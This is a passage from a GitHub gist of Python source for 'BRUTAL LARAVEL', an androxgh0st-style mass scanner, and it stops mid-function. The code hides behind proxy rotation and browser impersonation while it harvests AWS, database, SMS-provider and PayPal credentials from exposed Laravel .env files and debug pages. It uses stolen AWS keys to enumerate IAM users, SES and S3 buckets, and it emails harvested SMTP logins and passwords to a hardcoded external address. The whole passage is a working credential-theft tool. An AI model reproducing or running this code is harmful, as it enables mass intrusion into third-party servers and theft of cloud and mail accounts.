Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save kellieboyle666/2647a077595d8917049d7763eccba967 to your computer and use it in GitHub Desktop.

Select an option

Save kellieboyle666/2647a077595d8917049d7763eccba967 to your computer and use it in GitHub Desktop.
######BRUTAL LARAVEL
###### Mass Framework Misconfiguration
####### No credits No trace
import os, sys
from re import findall as reg
from threading import *
from threading import Thread
from configparser import ConfigParser
from queue import Queue
from colorama import Fore, Style # Import Style untuk reset warna
from colorama import init
from time import time as timer
import time, datetime
from multiprocessing.dummy import Pool
import smtplib, json, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import io
from multiprocessing.dummy import Pool
import warnings, random, socket, threading
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from socket import gaierror
import boto3
from botocore.exceptions import ClientError
import base64 # Import base64 di sini karena digunakan oleh exploit_cve_2021_3129
# Import untuk fitur baru
import curl_cffi.requests as cffi_requests # Menggunakan curl_cffi sebagai pengganti requests
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from webdriver_manager.chrome import ChromeDriverManager # Untuk mengelola driver Chrome
import cloudscraper # Import cloudscraper untuk fallback
# Inisialisasi colorama
init(autoreset=True)
# Global locks for file writing to prevent race conditions
file_locks = {
's3_buckets.txt': threading.Lock(),
'aws_exploited.txt': threading.Lock(),
'paypal_sandbox.txt': threading.Lock(),
'aws_access_key_secret.txt': threading.Lock(),
'aws_sns_key_secret.txt': threading.Lock(),
'database.txt': threading.Lock(),
'TWILLIO.txt': threading.Lock(),
'NEXMO.txt': threading.Lock(),
'EXOTEL.txt': threading.Lock(),
'ONESIGNAL.txt': threading.Lock(),
'TOKBOX.txt': threading.Lock(),
'PLIVO.txt': threading.Lock(),
'sendgrid.txt': threading.Lock(),
'office.txt': threading.Lock(),
'1and1.txt': threading.Lock(),
'zoho.txt': threading.Lock(),
'mandrill.txt': threading.Lock(),
'mailgun.txt': threading.Lock(),
'SMTP_RANDOM.txt': threading.Lock(),
'cve_2021_3129_exploited.txt': threading.Lock(),
'mix_manifest_found.txt': threading.Lock(),
'fingerprint.txt': threading.Lock(),
'sensitive_found.txt': threading.Lock(),
'not_vulnerable.txt': threading.Lock(),
'error_log.txt': threading.Lock(), # New lock for error log
'aws_region_files': threading.Lock(), # Generic lock for dynamic region files
'smtp_aws.txt': threading.Lock(), # Lock for smtp_aws.txt
}
# Global lock for Selenium to prevent multiple browser instances from conflicting
selenium_lock = threading.Lock()
def write_to_file_safe(filename, content):
"""Writes content to a file using a lock to prevent race conditions."""
# Determine which lock to use
if filename.startswith('Results/'):
base_filename = filename[len('Results/'):]
else:
base_filename = filename # Assume it's already base name if not starting with Results/
# Special handling for region-specific AWS files and other dynamic files
if base_filename.endswith('.txt') and base_filename not in file_locks:
# If it's a new region file or other dynamic file, use the generic lock
lock_to_use = file_locks['aws_region_files']
elif base_filename in file_locks:
lock_to_use = file_locks[base_filename]
else:
# Fallback for any other unexpected file names, though all should be covered
lock_to_use = threading.Lock()
# print(f"\033[33;1m[!] Warning: No specific lock for {base_filename}. Using generic lock.\033[0m")
with lock_to_use:
try:
with open(filename, 'a') as f:
f.write(content)
except Exception as e:
# Log error if writing to file fails
with file_locks['error_log.txt']:
with open('Results/error_log.txt', 'a') as err_f:
err_f.write(f"[{datetime.datetime.now()}] Error writing to {filename}: {e}\nContent: {content[:100]}...\n")
# --- START OPTIMIZATION: PROXY HANDLING & USER-AGENT ROTATION ---
# List of common User-Agents for rotation
USER_AGENTS = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/126.0',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1',
'Mozilla/5.0 (Android 14; Mobile; rv:126.0) Gecko/126.0 Firefox/126.0',
'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; AS; rv:11.0) like Gecko',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)',
]
# JA3 Impersonation strings for curl_cffi
# These strings correspond to specific browser TLS fingerprints
JA3_IMPERSONATIONS = [
"chrome100", "chrome99", "chrome96", "chrome90",
"firefox99", "firefox95", "firefox90",
"safari15_3", "safari15_5",
"edge99", "edge96",
"opera85", "opera84",
"android12", "android11",
"ios15_5", "ios15_4",
"okhttp/3.9.1", "okja3", # Common mobile/app clients
"random" # curl_cffi's random impersonation
]
class ProxyManager:
def __init__(self, proxy_input):
self.proxies = []
self.load_proxies(proxy_input)
self.proxy_index = 0
self.lock = threading.Lock() # Untuk thread-safe access ke proxy_index
# OPTIMIZATION: Track proxy failures and cooldowns
self.proxy_failures = {p['http']: 0 for p in self.proxies}
self.proxy_cooldown = {p['http']: 0 for p in self.proxies}
def load_proxies(self, proxy_input):
if not proxy_input:
return
if os.path.exists(proxy_input):
try:
with open(proxy_input, 'r') as f:
for line in f:
proxy = line.strip()
if proxy:
if '://' not in proxy:
proxy = 'http://' + proxy
self.proxies.append({'http': proxy, 'https': proxy})
if not self.proxies:
print(f"{Fore.RED}[!] No proxies loaded from the file.{Style.RESET_ALL}")
except Exception as e:
print(f"{Fore.RED}[!] Error loading proxies from file '{proxy_input}': {e}{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error loading proxies from file '{proxy_input}': {e}\n")
else:
proxy = proxy_input.strip()
if proxy:
if '://' not in proxy:
proxy = 'http://' + proxy
self.proxies.append({'http': proxy, 'https': proxy})
else:
print(f"{Fore.RED}[!] Invalid proxy input.{Style.RESET_ALL}")
def get_next_proxy(self):
with self.lock:
if not self.proxies:
return None
# OPTIMIZATION: Iterate through proxies to find one not on cooldown
for _ in range(len(self.proxies)):
proxy_entry = self.proxies[self.proxy_index]
proxy_url = proxy_entry['http']
self.proxy_index = (self.proxy_index + 1) % len(self.proxies)
if time.time() > self.proxy_cooldown[proxy_url]:
return proxy_entry
return None # All proxies are currently on cooldown
# OPTIMIZATION: Mark proxy as failed and apply exponential backoff
def mark_proxy_failed(self, proxy_url, reason="unknown"):
with self.lock:
if proxy_url in self.proxy_failures:
self.proxy_failures[proxy_url] += 1
# Exponential backoff: 2^failures seconds, capped at 10 minutes (600s)
cooldown_time = min(600, 2 ** self.proxy_failures[proxy_url])
self.proxy_cooldown[proxy_url] = time.time() + cooldown_time
printf(f"{Fore.YELLOW}[!] Proxy {proxy_url} failed ({reason}). Cooldown for {cooldown_time:.0f}s.{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Proxy failed: {proxy_url} ({reason}). Cooldown for {cooldown_time:.0f}s.\n")
else:
printf(f"{Fore.RED}[!] Attempted to mark unknown proxy {proxy_url} as failed.{Style.RESET_ALL}")
# --- END OPTIMIZATION: PROXY HANDLING & USER-AGENT ROTATION ---
def exploit_aws(aws_key, aws_secret, url=None):
regions = ["us-east-1", "us-west-2", "eu-west-1"] # Common regions
exploited = []
printf(f"{Fore.CYAN}[*] AWS Exploit: Attempting IAM User List for {url}{Style.RESET_ALL}")
try:
iam = boto3.client('iam', aws_access_key_id=aws_key, aws_secret_access_key=aws_secret)
users = iam.list_users()
if 'Users' in users:
exploited.append("IAM-User-List")
printf(f"{Fore.GREEN}[+] AWS Exploit: IAM User List successful for {url}{Style.RESET_ALL}")
except ClientError as e:
printf(f"{Fore.YELLOW}[!] AWS Exploit: IAM User List failed for {url} ({e.response.get('Error', {}).get('Code', 'UnknownError')}){Style.RESET_ALL}")
pass
except Exception as e:
printf(f"{Fore.YELLOW}[!] AWS Exploit: IAM User List unexpected error for {url} ({e}){Style.RESET_ALL}")
pass
printf(f"{Fore.CYAN}[*] AWS Exploit: Attempting SES Send Email for {url}{Style.RESET_ALL}")
ses_active_found = False
for region in regions:
try:
ses = boto3.client('ses', region_name=region,
aws_access_key_id=aws_key, aws_secret_access_key=aws_secret)
test = ses.get_send_quota()
if "Max24HourSend" in str(test):
exploited.append(f"SES-Active ({region})")
printf(f"{Fore.GREEN}[+] AWS Exploit: SES Active in {region} for {url}{Style.RESET_ALL}")
ses_active_found = True
break # Found an active SES region, no need to check others
except ClientError as e:
# printf(f"{Fore.YELLOW}[!] AWS Exploit: SES failed in {region} for {url} ({e.response.get('Error', {}).get('Code', 'UnknownError')}){Style.RESET_ALL}")
continue
except Exception as e:
# printf(f"{Fore.YELLOW}[!] AWS Exploit: SES unexpected error in {region} for {url} ({e}){Style.RESET_ALL}")
continue
if not ses_active_found:
printf(f"{Fore.YELLOW}[!] AWS Exploit: SES not active in tested regions for {url}{Style.RESET_ALL}")
printf(f"{Fore.CYAN}[*] AWS Exploit: Attempting S3 Bucket Enumeration for {url}{Style.RESET_ALL}")
try:
s3 = boto3.client('s3', aws_access_key_id=aws_key, aws_secret_access_key=aws_secret)
buckets = s3.list_buckets()
if 'Buckets' in buckets:
bucket_names = [b['Name'] for b in buckets['Buckets']]
if bucket_names:
exploited.append(f"S3-Buckets: {len(bucket_names)} found")
printf(f"{Fore.GREEN}[+] AWS Exploit: Found {len(bucket_names)} S3 bucket(s) for {url}{Style.RESET_ALL}")
s3_log_content = ""
if url:
s3_log_content += f"[{aws_key}] @ {url}\n"
else:
s3_log_content += f"[{aws_key}]\n"
for name in bucket_names:
printf(f" └─ {name}")
s3_log_content += f"{name}\n"
s3_log_content += "\n"
write_to_file_safe('Results/s3_buckets.txt', s3_log_content)
else:
printf(f"{Fore.YELLOW}[!] AWS Exploit: No S3 buckets found for {url}{Style.RESET_ALL}")
except ClientError as e:
printf(f"{Fore.YELLOW}[!] AWS Exploit: S3 Bucket Enumeration failed for {url} ({e.response.get('Error', {}).get('Code', 'UnknownError')}){Style.RESET_ALL}")
pass
except Exception as e:
printf(f"{Fore.YELLOW}[!] AWS Exploit: S3 Bucket Enumeration unexpected error for {url} ({e}){Style.RESET_ALL}")
pass
return exploited
try:
os.mkdir('Results')
except FileExistsError:
pass # Directory already exists
except Exception as e:
print(f"{Fore.RED}[!] Error creating Results directory: {e}{Style.RESET_ALL}")
# No safe write here as directory might not exist
list_region = '''us-east-1
us-east-2
us-west-1
us-west-2
af-south-1
ap-east-1
ap-south-1
ap-northeast-1
ap-northeast-2
ap-northeast-3
ap-southeast-1
ap-southeast-2
ca-central-1
eu-central-1
eu-west-1
eu-west-2
eu-west-3
eu-south-1
eu-north-1
me-south-1
sa-east-1'''
pid_restore = '.nero_swallowtail'
def sendtestoff(url, mailhost, mailport, mailuser, mailpass, mailfrom):
printf(f"{Fore.CYAN}[*] SMTP Test: Attempting to send test email from {mailhost} for {url}{Style.RESET_ALL}")
# Ensure port is an integer
try:
port = int(mailport)
except ValueError:
printf(f"{Fore.RED}[!] SMTP Test: Invalid port '{mailport}' for {url}. Skipping test.{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Invalid SMTP port '{mailport}' for {url}. Skipping test.\n")
return
# Adjust port if 465 is given (often means SSL/TLS on 587 is expected)
if port == 465:
port = 587 # Common practice for STARTTLS on 587
smtp_server = str(mailhost)
sender_email = mailuser if not mailfrom else str(mailfrom.replace('"', ''))
login = str(mailuser.replace('"', ''))
password = str(mailpass.replace('"', ''))
receiver_email = "kellie_boyle@yahoo.co.uk" # Fixed test email
message = MIMEMultipart('alternative')
message['Subject'] = f'SMTP LOG | HOST: {mailhost}'
message['From'] = sender_email
message['To'] = receiver_email
text_plain = ' '
html_content = f" <html>\n <body>\n <p>Send,<br>\n BY itslucifero</p>\n <p>-------------------</p>\n <p>URL : {url}</p>\n <p>HOST : {mailhost}</p>\n <p>PORT : {mailport}</p>\n <p>USER : {mailuser}</p>\n <p>PASSW : {mailpass}</p>\n <p>SENDER : {mailfrom}</p>\n <p>-------------------</p>\n </body>\n </html>\n "
part1 = MIMEText(text_plain, 'plain')
part2 = MIMEText(html_content, 'html')
message.attach(part1)
message.attach(part2)
try:
s = smtplib.SMTP(smtp_server, port, timeout=10) # OPTIMIZATION: Add timeout to SMTP connection
s.connect(smtp_server, port)
s.ehlo()
s.starttls()
s.ehlo()
s.login(login, password)
s.sendmail(sender_email, receiver_email, message.as_string())
s.quit() # OPTIMIZATION: Ensure connection is closed
printf(f"{Fore.GREEN}[+] SMTP Test: Test email sent successfully from {mailhost} for {url}{Style.RESET_ALL}")
except smtplib.SMTPAuthenticationError:
printf(f"{Fore.RED}[!] SMTP Test: Authentication failed for {mailhost} for {url}. Invalid credentials.{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] SMTP Auth Failed: {mailhost} ({url}) - User: {mailuser}, Pass: {mailpass}\n")
except smtplib.SMTPConnectError as e:
printf(f"{Fore.RED}[!] SMTP Test: Connection error to {mailhost}:{port} for {url} ({e}){Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] SMTP Connect Error: {mailhost}:{port} ({url}) - {e}\n")
except smtplib.SMTPServerDisconnected as e:
printf(f"{Fore.RED}[!] SMTP Test: Server disconnected unexpectedly from {mailhost} for {url} ({e}){Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] SMTP Disconnected: {mailhost} ({url}) - {e}\n")
except smtplib.SMTPException as e:
printf(f"{Fore.RED}[!] SMTP Test: SMTP error for {mailhost} for {url} ({e}){Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] SMTP Error: {mailhost} ({url}) - {e}\n")
except socket.timeout:
printf(f"{Fore.RED}[!] SMTP Test: Socket timeout for {mailhost} for {url}.{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] SMTP Socket Timeout: {mailhost} ({url})\n")
except Exception as e:
printf(f"{Fore.RED}[!] SMTP Test: Failed to send test email from {mailhost} for {url} ({e}){Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error sending test email from {mailhost} ({url}): {e}\n")
class Worker(Thread):
def __init__(self, tasks):
Thread.__init__(self)
self.tasks = tasks
self.daemon = True
self.start()
def run(self):
while True:
func, args, kargs = self.tasks.get()
try: func(*args, **kargs)
except Exception as e:
printf(f"{Fore.RED}[!] Error in worker thread: {e}{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error in worker thread: {e}\nFunction: {func.__name__}, Args: {args}\n")
self.tasks.task_done()
class ThreadPool:
def __init__(self, num_threads):
self.tasks = Queue(num_threads)
for _ in range(num_threads): Worker(self.tasks)
def add_task(self, func, *args, **kargs):
self.tasks.put((func, args, kargs))
def wait_completion(self):
self.tasks.join()
class androxgh0st:
def paypal(self, text, url):
if "PAYPAL_" in text:
content = url+'\n'
write_to_file_safe('Results/paypal_sandbox.txt', content)
printf(f"{Fore.GREEN}[+] PayPal: Sandbox credentials found for {url}{Style.RESET_ALL}")
return True
else:
return False
def get_aws_region(self, text):
for region in list_region.splitlines():
if str(region) in text:
return region
return None
def get_aws_data(self, text, url):
aws_key = ''
aws_sec = ''
aws_reg = ''
aws_buc = ''
method = ''
found_aws_data = False
# Prioritize AWS_ACCESS_KEY_ID
if "AWS_ACCESS_KEY_ID" in text:
found_aws_data = True
if "AWS_ACCESS_KEY_ID=" in text:
method = '/.env'
try:
aws_key = reg("\nAWS_ACCESS_KEY_ID=(.*?)\n", text)[0]
except IndexError: pass
try:
aws_sec = reg("\nAWS_SECRET_ACCESS_KEY=(.*?)\n", text)[0]
except IndexError: pass
elif "<td>AWS_ACCESS_KEY_ID</td>" in text:
method = 'debug'
try:
aws_key = reg(r"<td>AWS_ACCESS_KEY_ID<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0]
except IndexError: pass
try:
aws_sec = reg(r"<td>AWS_SECRET_ACCESS_KEY</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
asu = self.get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = "aws_unknown_region--"
# Then AWS_KEY (alternative naming)
elif "AWS_KEY" in text:
found_aws_data = True
if "AWS_KEY=" in text:
method = '/.env'
try:
aws_key = reg("\nAWS_KEY=(.*?)\n", text)[0]
except IndexError: pass
try:
aws_sec = reg("\nAWS_SECRET=(.*?)\n", text)[0]
except IndexError: pass
try:
aws_buc = reg("\nAWS_BUCKET=(.*?)\n", text)[0]
except IndexError: pass
elif "<td>AWS_KEY</td>" in text:
method = 'debug'
try:
aws_key = reg(r"<td>AWS_KEY</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
try:
aws_sec = reg(r"<td>AWS_SECRET</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
try:
aws_buc = reg(r"<td>AWS_BUCKET</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
asu = self.get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = "aws_unknown_region--"
# Then AWS_SNS_KEY
elif "AWS_SNS_KEY" in text:
found_aws_data = True
sms_from = ''
sms_driver = ''
if "AWS_SNS_KEY=" in text:
method = '/.env'
try:
aws_key = reg("\nAWS_SNS_KEY=(.*?)\n", text)[0]
except IndexError: pass
try:
aws_sec = reg("\nAWS_SNS_SECRET=(.*?)\n", text)[0]
except IndexError: pass
try:
sms_from = reg("\nSMS_FROM=(.*?)\n", text)[0]
except IndexError: pass
try:
sms_driver = reg("\nSMS_DRIVER=(.*?)\n", text)[0]
except IndexError: pass
elif "<td>AWS_SNS_KEY</td>" in text:
method = 'debug'
try:
aws_key = reg(r"<td>AWS_SNS_KEY</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
try:
aws_sec = reg(r'<td>AWS_SNS_SECRET</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
sms_from = reg(r'<td>SMS_FROM=</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
sms_driver = reg(r'<td>SMS_DRIVER</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
asu = self.get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = "aws_unknown_region--"
if aws_key or aws_sec:
build = f'URL: {url}\nMETHOD: {method}\nAWS SNS KEY: {aws_key}\nAWS SNS SECRET: {aws_sec}\nAWS REGION: {aws_reg}\nAWS BUCKET: \nSMS FROM: {sms_from}\nSMS DRIVER: {sms_driver}'
remover = build.replace('\r', '')
write_to_file_safe(f'Results/{aws_reg[:-2]}.txt', remover+'\n\n')
write_to_file_safe('Results/aws_sns_key_secret.txt', remover+'\n\n')
printf(f"{Fore.GREEN}[+] AWS: SNS credentials found for {url}{Style.RESET_ALL}")
return True
# Then AWS_S3_KEY
elif "AWS_S3_KEY" in text:
found_aws_data = True
if "AWS_S3_KEY=" in text:
method = '/.env'
try:
aws_key = reg("\nAWS_S3_KEY=(.*?)\n", text)[0]
except IndexError: pass
try:
aws_sec = reg("\nAWS_S3_SECRET=(.*?)\n", text)[0]
except IndexError: pass
elif "<td>AWS_S3_KEY</td>" in text:
method = 'debug'
try:
aws_key = reg(r"<td>AWS_S3_KEY</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
try:
aws_sec = reg(r"<td>AWS_S3_SECRET</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
asu = self.get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = "aws_unknown_region--"
# Then AWS_SES_KEY
elif "AWS_SES_KEY" in text:
found_aws_data = True
if "AWS_SES_KEY=" in text:
method = '/.env'
try:
aws_key = reg("\nAWS_SES_KEY=(.*?)\n", text)[0]
except IndexError: pass
try:
aws_sec = reg("\nAWS_SES_SECRET=(.*?)\n", text)[0]
except IndexError: pass
elif "<td>AWS_SES_KEY</td>" in text:
method = 'debug'
try:
aws_key = reg(r"<td>AWS_SES_KEY</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
try:
aws_sec = reg(r"<td>AWS_SES_SECRET</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
asu = self.get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = "aws_unknown_region--"
# Then SES_KEY (alternative naming)
elif "SES_KEY" in text:
found_aws_data = True
if "SES_KEY=" in text:
method = '/.env'
try:
aws_key = reg("\nSES_KEY=(.*?)\n", text)[0]
except IndexError: pass
try:
aws_sec = reg("\nSES_SECRET=(.*?)\n", text)[0]
except IndexError: pass
elif "<td>SES_KEY</td>" in text:
method = 'debug'
try:
aws_key = reg(r"<td>SES_KEY</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
try:
aws_sec = reg(r"<td>SES_SECRET</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
asu = self.get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = "aws_unknown_region--"
if found_aws_data:
if aws_key == "" and aws_sec == "":
printf(f"{Fore.YELLOW}[!] AWS: Keywords found but no key/secret extracted for {url}{Style.RESET_ALL}")
return False
else:
build = f'URL: {url}\nMETHOD: {method}\nAWS ACCESS KEY: {aws_key}\nAWS SECRET KEY: {aws_sec}\nAWS REGION: {aws_reg}\nAWS BUCKET: {aws_buc}'
remover = build.replace('\r', '')
write_to_file_safe(f'Results/{aws_reg[:-2]}.txt', remover+'\n\n')
write_to_file_safe('Results/aws_access_key_secret.txt', remover+'\n\n')
printf(f"{Fore.GREEN}[+] AWS: Credentials found for {url}{Style.RESET_ALL}")
return True
else:
return False
def get_database(self, text, url):
try:
if "DB_CONNECTION" in text or "DB_HOST" in text: # Broader check for DB
db_c = ''
db_h = ''
db_d = ''
db_u = ''
db_p = ''
method = ''
if "DB_CONNECTION=" in text:
method = '/.env'
try:
db_c = reg('\nDB_CONNECTION=(.*?)\n', text)[0]
except IndexError: pass
try:
db_h = reg('\nDB_HOST=(.*?)\n', text)[0]
except IndexError: pass
try:
db_d = reg('\nDB_DATABASE=(.*?)\n', text)[0]
except IndexError: pass
try:
db_u = reg('\nDB_USERNAME=(.*?)\n', text)[0]
except IndexError: pass
try:
db_p = reg('\nDB_PASSWORD=(.*?)\n', text)[0]
except IndexError: pass
elif '<td>DB_CONNECTION</td>' in text:
method = 'debug'
try:
db_c = reg(r'<td>DB_CONNECTION</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
db_h = reg(r'<td>DB_HOST</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
db_d = reg(r'<td>DB_DATABASE</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
db_u = reg(r'<td>DB_USERNAME</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
db_p = reg(r'<td>DB_PASSWORD</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
if db_c or db_h or db_d or db_u or db_p:
build = f'URL: {url}\nMETHOD: {method}\nDB_CONNECTION: {db_c}\nDB_HOST: {db_h}\nDB_DATABASE: {db_d}\nDB_USERNAME: {db_u}\nDB_PASSWORD: {db_p}'
remover = build.replace('\r', '')
write_to_file_safe('Results/database.txt', remover+'\n\n')
printf(f"{Fore.GREEN}[+] Database: Credentials found for {url}{Style.RESET_ALL}")
return True
else:
return False
else:
return False
except Exception as e:
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error in get_database for {url}: {e}\n")
return False
def get_twillio(self, text, url):
try:
if "TWILIO" in text:
acc_sid = ''
acc_key = ''
sec = ''
chatid = ''
phone = ''
auhtoken = ''
method = ''
if "TWILIO_ACCOUNT_SID=" in text:
method = '/.env'
try:
acc_sid = reg('\nTWILIO_ACCOUNT_SID=(.*?)\n', text)[0]
except IndexError: pass
try:
acc_key = reg('\nTWILIO_API_KEY=(.*?)\n', text)[0]
except IndexError: pass
try:
sec = reg('\nTWILIO_API_SECRET=(.*?)\n', text)[0]
except IndexError: pass
try:
chatid = reg('\nTWILIO_CHAT_SERVICE_SID=(.*?)\n', text)[0]
except IndexError: pass
try:
phone = reg('\nTWILIO_NUMBER=(.*?)\n', text)[0]
except IndexError: pass
try:
auhtoken = reg('\nTWILIO_AUTH_TOKEN=(.*?)\n', text)[0]
except IndexError: pass
elif '<td>TWILIO_ACCOUNT_SID</td>' in text:
method = 'debug'
try:
acc_sid = reg(r'<td>TWILIO_ACCOUNT_SID</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
acc_key = reg(r'<td>TWILIO_API_KEY</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
sec = reg(r'<td>TWILIO_API_SECRET</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
chatid = reg(r'<td>TWILIO_CHAT_SERVICE_SID</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
phone = reg(r'<td>TWILIO_NUMBER</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
auhtoken = reg(r'<td>TWILIO_AUTH_TOKEN</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
if acc_sid or acc_key or sec or chatid or phone or auhtoken:
build = f'URL: {url}\nMETHOD: {method}\nTWILIO_ACCOUNT_SID: {acc_sid}\nTWILIO_API_KEY: {acc_key}\nTWILIO_API_SECRET: {sec}\nTWILIO_CHAT_SERVICE_SID: {chatid}\nTWILIO_NUMBER: {phone}\nTWILIO_AUTH_TOKEN: {auhtoken}'
remover = build.replace('\r', '')
write_to_file_safe('Results/TWILLIO.txt', remover+'\n\n')
printf(f"{Fore.GREEN}[+] Twilio: Credentials found for {url}{Style.RESET_ALL}")
return True
else:
return False
else:
return False
except Exception as e:
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error in get_twillio for {url}: {e}\n")
return False
def get_nexmo(self, text, url):
try:
# NEXMO
if "NEXMO" in text:
nexmo_key = ''
nexmo_secret = ''
phone = ''
method = ''
if "NEXMO_KEY=" in text:
method = '/.env'
try:
nexmo_key = reg('\nNEXMO_KEY=(.*?)\n', text)[0]
except IndexError: pass
try:
nexmo_secret = reg('\nNEXMO_SECRET=(.*?)\n', text)[0]
except IndexError: pass
try:
phone = reg('\nNEXMO_NUMBER=(.*?)\n', text)[0]
except IndexError: pass
elif '<td>NEXMO_KEY</td>' in text:
method = 'debug'
try:
nexmo_key = reg(r'<td>NEXMO_KEY</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
nexmo_secret = reg(r'<td>NEXMO_SECRET</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
phone = reg(r'<td>EXMO_NUMBER</td>\s+<td><pre.*>(.*?)</span>', text)[0] # Typo in original: EXMO_NUMBER
except IndexError: pass
if nexmo_key or nexmo_secret or phone:
build = f'URL: {url}\nMETHOD: {method}\nNEXMO_KEY: {nexmo_key}\nNEXMO_SECRET: {nexmo_secret}\nNEXMO_NUMBER: {phone}'
remover = build.replace('\r', '')
write_to_file_safe('Results/NEXMO.txt', remover+'\n\n')
printf(f"{Fore.GREEN}[+] Nexmo: Credentials found for {url}{Style.RESET_ALL}")
return True
else:
return False
# EXOTEL
elif "EXOTEL_API_KEY" in text:
exotel_api = ''
exotel_token = ''
exotel_sid = ''
method = ''
if "EXOTEL_API_KEY=" in text:
method = '/.env'
try:
exotel_api = reg('\nEXOTEL_API_KEY=(.*?)\n', text)[0]
except IndexError: pass
try:
exotel_token = reg('\nEXOTEL_API_TOKEN=(.*?)\n', text)[0]
except IndexError: pass
try:
exotel_sid = reg('\nEXOTEL_API_SID=(.*?)\n', text)[0]
except IndexError: pass
elif '<td>EXOTEL_API_KEY</td>' in text:
method = 'debug'
try:
exotel_api = reg(r'<td>EXOTEL_API_KEY</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
exotel_token = reg(r'<td>EXOTEL_API_TOKEN</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
exotel_sid = reg(r'<td>EXOTEL_API_SID</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
if exotel_api or exotel_token or exotel_sid:
build = f'URL: {url}\nMETHOD: {method}\nEXOTEL_API_KEY: {exotel_api}\nEXOTEL_API_TOKEN: {exotel_token}\nEXOTEL_API_SID: {exotel_sid}'
remover = build.replace('\r', '')
write_to_file_safe('Results/EXOTEL.txt', remover+'\n\n')
printf(f"{Fore.GREEN}[+] Exotel: Credentials found for {url}{Style.RESET_ALL}")
return True
else:
return False
# ONESIGNAL
elif "ONESIGNAL_APP_ID" in text:
onesignal_id = ''
onesignal_token = ''
onesignal_auth = ''
method = ''
if "ONESIGNAL_APP_ID=" in text:
method = '/.env'
try:
onesignal_id = reg('\nONESIGNAL_APP_ID=(.*?)\n', text)[0]
except IndexError: pass
try:
onesignal_token = reg('\nONESIGNAL_REST_API_KEY=(.*?)\n', text)[0]
except IndexError: pass
try:
